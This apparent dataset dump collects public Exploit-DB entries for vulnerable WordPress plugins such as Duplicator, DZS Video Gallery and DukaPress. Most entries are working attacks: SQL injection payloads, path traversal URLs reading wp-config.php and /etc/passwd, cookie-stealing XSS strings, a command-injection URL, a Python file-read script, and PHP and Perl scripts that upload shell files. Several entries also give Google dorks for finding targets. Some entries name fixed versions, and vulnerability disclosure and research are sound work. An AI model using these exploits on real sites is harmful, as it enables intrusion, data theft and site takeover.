deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17683
Description: WordPress Plugin DS FAQ 1.3.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-18
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress WP DS FAQ plugin <= 1.3.2 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-ds-faq.1.3.2.zip
# Version: 1.3.2 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/wp-ds-faq/ajax.php
 action=delete_faqbook&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
switch($_POST['action']) {

    ...

    case 'delete_faqbook':
        if(!isset($_POST['id'])){ error(); }
        $id = $_POST['id'];

        ...

        $sql = "DELETE FROM `".$table_name."` WHERE `id` = ".$id;
        $results = $wpdb->query( $sql );
Exploit-DB #35346
Description: WordPress Plugin DukaPress 2.5.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2014-11-24
Author: Kacper Szurek

Exploit:
# Exploit Title: DukaPress 2.5.2 Path Traversal
# Date: 27-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/dukapress.2.5.2.zip
# Category: webapps
# CVE: CVE-2014-8799
  
1. Description

dp_img_resize() returns $_REQUEST['src'] if $_REQUEST['w'] and $_REQUEST['h'] doesn't exist.

File: dukapress\lib\dp_image.php
if (!function_exists('add_action')) {
    require_once('../../../../wp-load.php');
}

echo file_get_contents(dp_img_resize('', $_REQUEST['src'],$_REQUEST['w'], $_REQUEST['h']));
 
http://security.szurek.pl/dukapress-252-path-traversal.html
  
2. Proof of Concept
  
http://wordpress-url/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
  
3. Solution:
  
Update to version 2.5.4

https://downloads.wordpress.org/plugin/dukapress.2.5.4.zip
https://plugins.trac.wordpress.org/changeset/1024640/dukapress
Exploit-DB #50256
Description: WordPress Plugin Duplicate Page 4.4.1 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-02
Author: Nikhil Kapoor

Exploit:
# Exploit Title: WordPress Plugin Duplicate Page 4.4.1 - Stored Cross-Site Scripting (XSS)
# Date: 02/09/2021
# Exploit Author: Nikhil Kapoor
# Software Link: https://wordpress.org/plugins/duplicate-page/
# Version: 4.4.1
# Category: Web Application
# Tested on Windows

How to Reproduce this Vulnerability:

1. Install WordPress 5.7.2
2. Install and activate Duplicate Page
3. Navigate to Settings >> Duplicate Page and enter the XSS payload into the Duplicate Post Suffix input field.
4. Click Save Changes.
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
6. Payload Used: "><svg/onload=confirm(/XSS/)>
Exploit-DB #38676
Description: WordPress Plugin Duplicator - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-07-24
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/61425/info

The Duplicator plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Duplicator 0.4.4 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #36735
Description: WordPress Plugin Duplicator 0.5.14 - SQL Injection / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-04-13
Author: Claudio Viviani

Exploit:
######################

# Exploit Title : Wordpress Duplicator <= 0.5.14 - SQL Injection & CSRF

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://lifeinthegrid.com/labs/duplicator/

# Software Link : https://downloads.wordpress.org/plugin/duplicator.0.5.14.zip

# Date : 2015-04-08

# Tested on : Linux / Mozilla Firefox         

######################

# Description

 Wordpress Duplicator 0.5.14 suffers from remote SQL Injection Vulnerability
 
 
 Location file: /view/actions.php
 
 This is the bugged ajax functions wp_ajax_duplicator_package_delete:

 function duplicator_package_delete() {

  DUP_Util::CheckPermissions('export');

    try {
	global $wpdb;
	$json		= array();
	$post		= stripslashes_deep($_POST);
	$tblName	= $wpdb->prefix . 'duplicator_packages';
	$postIDs	= isset($post['duplicator_delid']) ? $post['duplicator_delid'] : null;
	$list		= explode(",", $postIDs);
	$delCount	= 0;

        if ($postIDs != null) {

            foreach ($list as $id) {
			$getResult = $wpdb->get_results("SELECT name, hash FROM `{$tblName}` WHERE id = {$id}", ARRAY_A);
			if ($getResult) {
				$row		=  $getResult[0];
				$nameHash	= "{$row['name']}_{$row['hash']}";
				$delResult	= $wpdb->query("DELETE FROM `{$tblName}` WHERE id = {$id}");
				if ($delResult != 0) {


 $post['duplicator_delid'] variable is not sanitized

 A authorized user with "export" permission or a remote unauthenticated attacker could
 use this vulnerability to execute arbitrary SQL queries on the victim
 WordPress web site by enticing an authenticated admin (CSRF)


######################

# PoC

 http://target/wp-admin/admin-ajax.php?action=duplicator_package_delete
 
 POST: duplicator_delid=1 and (select * from (select(sleep(20)))a)


######################

# Vulnerability Disclosure Timeline:

2015-04-08:  Discovered vulnerability
2015-04-08:  Vendor Notification
2015-04-09:  Vendor Response/Feedback 
2015-04-10:  Vendor Send Fix/Patch
2015-04-10:  Public Disclosure 

#######################

Discovered By : Claudio Viviani
                http://www.homelab.it
				http://ffhd.homelab.it (Free Fuzzy Hashes Database)
				
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Exploit-DB #36112
Description: WordPress Plugin Duplicator 0.5.8 - Privilege Escalation
Type: webapps
Platform: php
Date: 2015-02-18
Author: Kacper Szurek

Exploit:
# Exploit Title: Duplicator 0.5.8 Privilege Escalation
# Date: 21-11-2014
# Software Link: https://wordpress.org/plugins/duplicator/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
Every registered user can create and download backup files.

File: duplicator\duplicator.php
add_action('wp_ajax_duplicator_package_scan',		'duplicator_package_scan');
add_action('wp_ajax_duplicator_package_build',		'duplicator_package_build');
add_action('wp_ajax_duplicator_package_delete',		'duplicator_package_delete');
add_action('wp_ajax_duplicator_package_report',		'duplicator_package_report');

http://security.szurek.pl/duplicator-058-privilege-escalation.html

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then start scan:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_scan

After that you can build backup:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_build

This function will return json with backup name inside File key.

You can download backup using:

http://wordpress-url/wp-snapshots/%file_name_from_json%

3. Solution:
  
Update to version 0.5.10
Exploit-DB #44288
Description: WordPress Plugin Duplicator 1.2.32 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-03-15
Author: Stefan Broeder

Exploit:
# Exploit Title : Duplicator Wordpress Migration Plugin Reflected Cross Site Scripting (XSS)
# Date: 25-02-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: 1.2.32
# CVE : CVE-2018-7543
# Category : webapps

Description
===========
Duplicator is a wordpress plugin with more than 1 million of active installations. Version 1.2.32 (and possibly previous versionss) are affected by a Reflected XSS vulnerability.

Vulnerable part of code
=======================
File: duplicator/installer/build/view.step4.php:254 allows direct injection of $_POST variable 'json'.

Impact
======
Arbitrary JavaScript code can be run on browser side if a user is tricked to click over a link or browse a URL under the attacker control.

Proof of Concept
============
In order to exploit this vulnerability, an attacker has to send the following request to the server:

POST /wp-content/plugins/duplicator/installer/build/view.step4.php HTTP/1.1
Host: <hostname>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=wp%7C[PII_REDACTED]<omissis>
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

json='a';};document.write(alert(document.cookie));MyViewModel%3dfunction(){this.status%3d''

The server replies as reported below:

HTTP/1.1 200 OK
Date: Mon, 12 Feb 2018 14:15:28 GMT
Server: Apache/2.4.29 (Debian)
Vary: Accept-Encoding
Content-Length: 10224
Connection: close
Content-Type: text/html; charset=UTF-8

...

<script>
MyViewModel = function() {
this.status = 'a';};document.write(alert(document.cookie));MyViewModel=function(){this.status='';
var errorCount = this.status.step2.query_errs || 0;
(errorCount >= 1 )
? $('#dup-step3-install-report-count').css('color', '#BE2323')
: $('#dup-step3-install-report-count').css('color', '#197713')
};
ko.applyBindings(new MyViewModel()); 
</script>

Solution
========

Update to version 1.2.33
Exploit-DB #50420
Description: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read
Type: webapps
Platform: php
Date: 2021-10-18
Author: nam3lum

Exploit:
# Exploit Title: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read
# Date: October 16, 2021
# Exploit Author: nam3lum
# Vendor Homepage: https://wordpress.org/plugins/duplicator/
# Software Link: https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip]
# Version: 1.3.26
# Tested on: Ubuntu 16.04
# CVE : CVE-2020-11738

import requests as re
import sys

if len(sys.argv) != 3:
        print("Exploit made by nam3lum.")
        print("Usage: CVE-2020-11738.py http://192.168.168.167 /etc/passwd")
        exit()

arg = sys.argv[1]
file = sys.argv[2]

URL = arg + "/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../.." + file

output = re.get(url = URL)
print(output.text)
Exploit-DB #50992
Description: WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download
Type: webapps
Platform: php
Date: 2022-08-01
Author: SecuriTrust

Exploit:
# Exploit Title: WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download
# Google Dork: N/A
# Date: 07.27.2022
# Exploit Author: SecuriTrust
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: < 1.4.7
# Tested on: Linux, Windows
# CVE : CVE-2022-2551
# Reference: https://securitrust.fr
# Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2551

#Product:
WordPress Plugin Duplicator < 1.4.7

#Vulnerability:
1-It allows an attacker to download the backup file.

#Proof-Of-Concept:
1-Backup download.
The backup file can be downloaded using the "is_daws" parameter.
http://[PATH]/backups-dup-lite/dup-installer/main.installer.php
Exploit-DB #50993
Description: WordPress Plugin Duplicator 1.4.7 - Information Disclosure
Type: webapps
Platform: php
Date: 2022-08-01
Author: SecuriTrust

Exploit:
# Exploit Title: WordPress Plugin Duplicator 1.4.7 - Information Disclosure
# Google Dork: N/A
# Date: 07.27.2022
# Exploit Author: SecuriTrust
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: <= 1.4.7
# Tested on: Linux, Windows
# CVE : CVE-2022-2552
# Reference: https://securitrust.fr
# Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2552

#Product:
WordPress Plugin Duplicator <= 1.4.7

#Vulnerability:
1-Some system information may be disclosure.

#Proof-Of-Concept:
1-System information.
Some system information is obtained using the "view" parameter.
http://[PATH]/backups-dup-lite/dup-installer/main.installer.php
Exploit-DB #37162
Description: WordPress Plugin Dynamic Widgets 1.5.1 - 'themes.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53513/info

Dynamic Widgets plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Dynamic Widgets 1.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/themes.php?page=dynwid-config&action=edit&id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #30063
Description: WordPress Plugin DZS Video Gallery 3.1.3 - Remote File Disclosure / Local File Disclosure
Type: webapps
Platform: php
Date: 2013-12-06
Author: aceeeeeeeer .

Exploit:
# Exploit Title: WordPress DZS Video Gallery (dzs-videogallery) 3.1.3 Plugins Remote and Local File Disclosure Vulnerability (only .SWF)
# Google Dork: inurl:/wp-content/plugins/dzs-videogallery/
# Vendor Homepage: http://digitalzoomstudio.net/
# Version: ALL
# Affected File: preview.php
# Date: 03/12/2013
# Exploit Author: aceeeeeeeer
# Contact: http://www.twitter.com/aceeeeeeeer
# Tested on: Linux

Exploit:
/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=[
SWF LINK ]

http://localhost/wp/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=http://www.cristgaming.com/pirate.swf
http://localhost/wp/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=../../../../uploads/2013/12/The_Exorcist.swf
Exploit-DB #39553
Description: WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-03-11
Author: Colette Chamberland

Exploit:
* Exploit Title: Wordpress DZS Videogallery Plugin - Multiple Vulnerabilities <=8.60
* Discovery Date: 01.05.2016
* Public Disclosure Date:03.09.2016
* Vendor Homepage: http://digitalzoomstudio.net/
* Software Link: http://codecanyon.net/item/video-gallery-wordpress-plugin-w-youtube-vimeo-/157782
* Exploit Author: Colette Chamberland (Wordfence)
* Contact: colette@wordfence.com
* Version: <=8.60
* Tested on: Wordpress 4.2.x-4.4.x
* OVE-20[PII_REDACTED]


Technical details:

Unauthenticated CSRF & XSS
POC:
http://[target]/wp-content/plugins/dzs-videogallery/admin/playlistseditor/popup.php?initer=whatava18642%27%3balert%281%29%2f%2f645
Line 13-15 (unsanitized input):
 if(isset($_GET['initer'])){
            $initer = $_GET['initer'];
        }
Line 27 (unsanitized output):
       <?php echo "var initer = '" . $initer . "';"; ?>
---------------------------------------       
Unauthenticated CSRF &  XSS
POC:
http://[target]/wp-content/plugins/dzs-videogallery/admin/tagseditor/popup.php?initer=whatava18642%27%3balert%281%29%2f%2f645

Line 13-15 (unsanitized input):
 if(isset($_GET['initer'])){
            $initer = $_GET['initer'];
        }
Line 27 (unsanitized output):
       <?php echo "var initer = '" . $initer . "';"; ?>
--------------------------------------- 
Unauthenticated CSRF & XSS:
POC(s):
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=6d27f"><script>alert(1)<%2fscript>894ba&type=&width=
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=&type=7934f"><script>alert(1)<%2fscript>99085&width=
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=&type=&width=54fd7"><script>alert(1)<%2fscript>4708b

Line 25 & 35 (unsanitized input & direct output):
$w =  $_GET['width'];
<param name="flashvars" value="video=' . $_GET['source'] . '&types=' . $_GET['type'] . '&defaultQuality=hd" width="' . $w . '" height="' . $h . '">'.$backup.'
Exploit-DB #29834
Description: WordPress Plugin dzs-videogallery - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-11-26
Author: link_satisi

Exploit:
###################################################################################################
# Exploit Title: WordPress dzs-videogallery Plugins Remote File Upload Vulnerability
# Author: iskorpitx
# Date: 22/11/2013
# Vendor Homepage: http://digitalzoomstudio.net
# Themes Link: http://digitalzoomstudio.net/docs/wpvideogallery/
# Infected File: upload.php
# Category: webapps
# Google dork:inurl:/wp-content/plugins/dzs-videogallery/
# Tested on : Windows/Linux
###################################################################################################

<?php 
$uploadfile=""; 
$ch = curl_init("http://127.0.0.1/wp-content/plugins/dzs-videogallery/admin/dzsuploader/upload.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('file_field'=>"@$uploadfile")); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); curl_close($ch); 
print "$postResult"; 
?>

http://127.0.0.1/wp-content/plugins/dzs-videogallery/admin/dzsuploader/upload/upload.html


_________________________________

All http://www.mavi1.org members
Exploit-DB #39250
Description: WordPress Plugin DZS-VideoGallery - Cross-Site Scripting / Command Injection
Type: webapps
Platform: php
Date: 2014-07-13
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/68525/info

WordPress DZS-VideoGallery plugin is prone to multiple cross site scripting vulnerabilities and a command-injection vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to execute arbitrary OS commands. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DZS-VideoGallery 7.85 is vulnerable; prior versions are also affected. 

Cross-site-scripting:

http://www.example.com/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?designrand=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Command-Injection:

http://www.example.com/wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://www.example.com/1.jpg$(os-cmd)
Exploit-DB #37166
Description: WordPress Plugin dzs-zoomsounds 2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-06-01
Author: nabil chris

Exploit:
###################################################################################################
# Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability
# Vendor : http://digitalzoomstudio.net/docs/wpzoomsounds/
# Author: bl4ck-dz
# Date: 28/05/2015
# Infected File: upload.php
# Category: webapps
# Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/
# Tested on : Linux | Windows
###################################################################################################
<?php 
$evil="dz.phtml"; 
$ch = curl_init("http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('file_field'=>"@$evil")); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); curl_close($ch); 
echo "$postResult"; 
?>
Shell Access :
http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload/$Evil

# GreeTz : Akram Stelle ~ Mr DZ ~ All DzTeaM Members & all all Dz H4x0rs !
Exploit-DB #6867
Description: WordPress Plugin E-Commerce 3.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-10-29
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <<INTRO; # messy print i know..
- Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload -
            Discovered && Coded by: t0pP8uZz
            Discovered on: 20 October 2008
  
  Theres no current vulnerabilitys for this plugin, but the
  vulnerability explained here no longer exists in the later
  versions of the plugin, due to a code rewrite.
  
  In testing this vulnerability, i wrote a scraping content
  program, and found ALOT of vulnerable sites.
  
  This exploit will upload a selected file to the...
  ... /wp-content/plugins/wp-shopping-cart/ directory.
  
  If the directory is not writable (rare cases) you can
  mod this exploit and use the insecure GET variable
  "imagedir" to directory traversal.. so you can upload
  in diffrent directorys.
  
  Contact: irc.rizon.net #sectalk
  
  Dork: inurl:"/wp-content/plugins/wp-shopping-cart/"

INTRO

print "\nEnter URL(ie: http://site.com/mambo): ";
    chomp(my $url=<STDIN>);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);
    
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url . '/wp-content/plugins/wp-shopping-cart/image_processing.php',
                      Content_Type => 'form-data',
                      Content      => [ Submit => "Add", image => [ $file, $fname, Content_Type => 'plain/text' ], ] );

die "Exploit Failed: HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /Fatal error/i) { 
    print "Complete! To see if exploit was successfull visit the following URL for your uploaded file.\n";
    print "Uploaded File: " . $url . "/wp-content/plugins/wp-shopping-cart/" . $fname . "\n";
} else
{
    print "Exploit Failed! Target host not vulnerable!\n";
}
exit;

# milw0rm.com [2008-10-29]
Exploit-DB #38870
Description: WordPress Plugin Easy Career Openings - 'jobid' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-06
Author: Iranian_Dark_Coders_Team

Exploit:
source: https://www.securityfocus.com/bid/64167/info

WordPress Easy Career Openings plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/career-details/?jobid=3'[Sql Injection]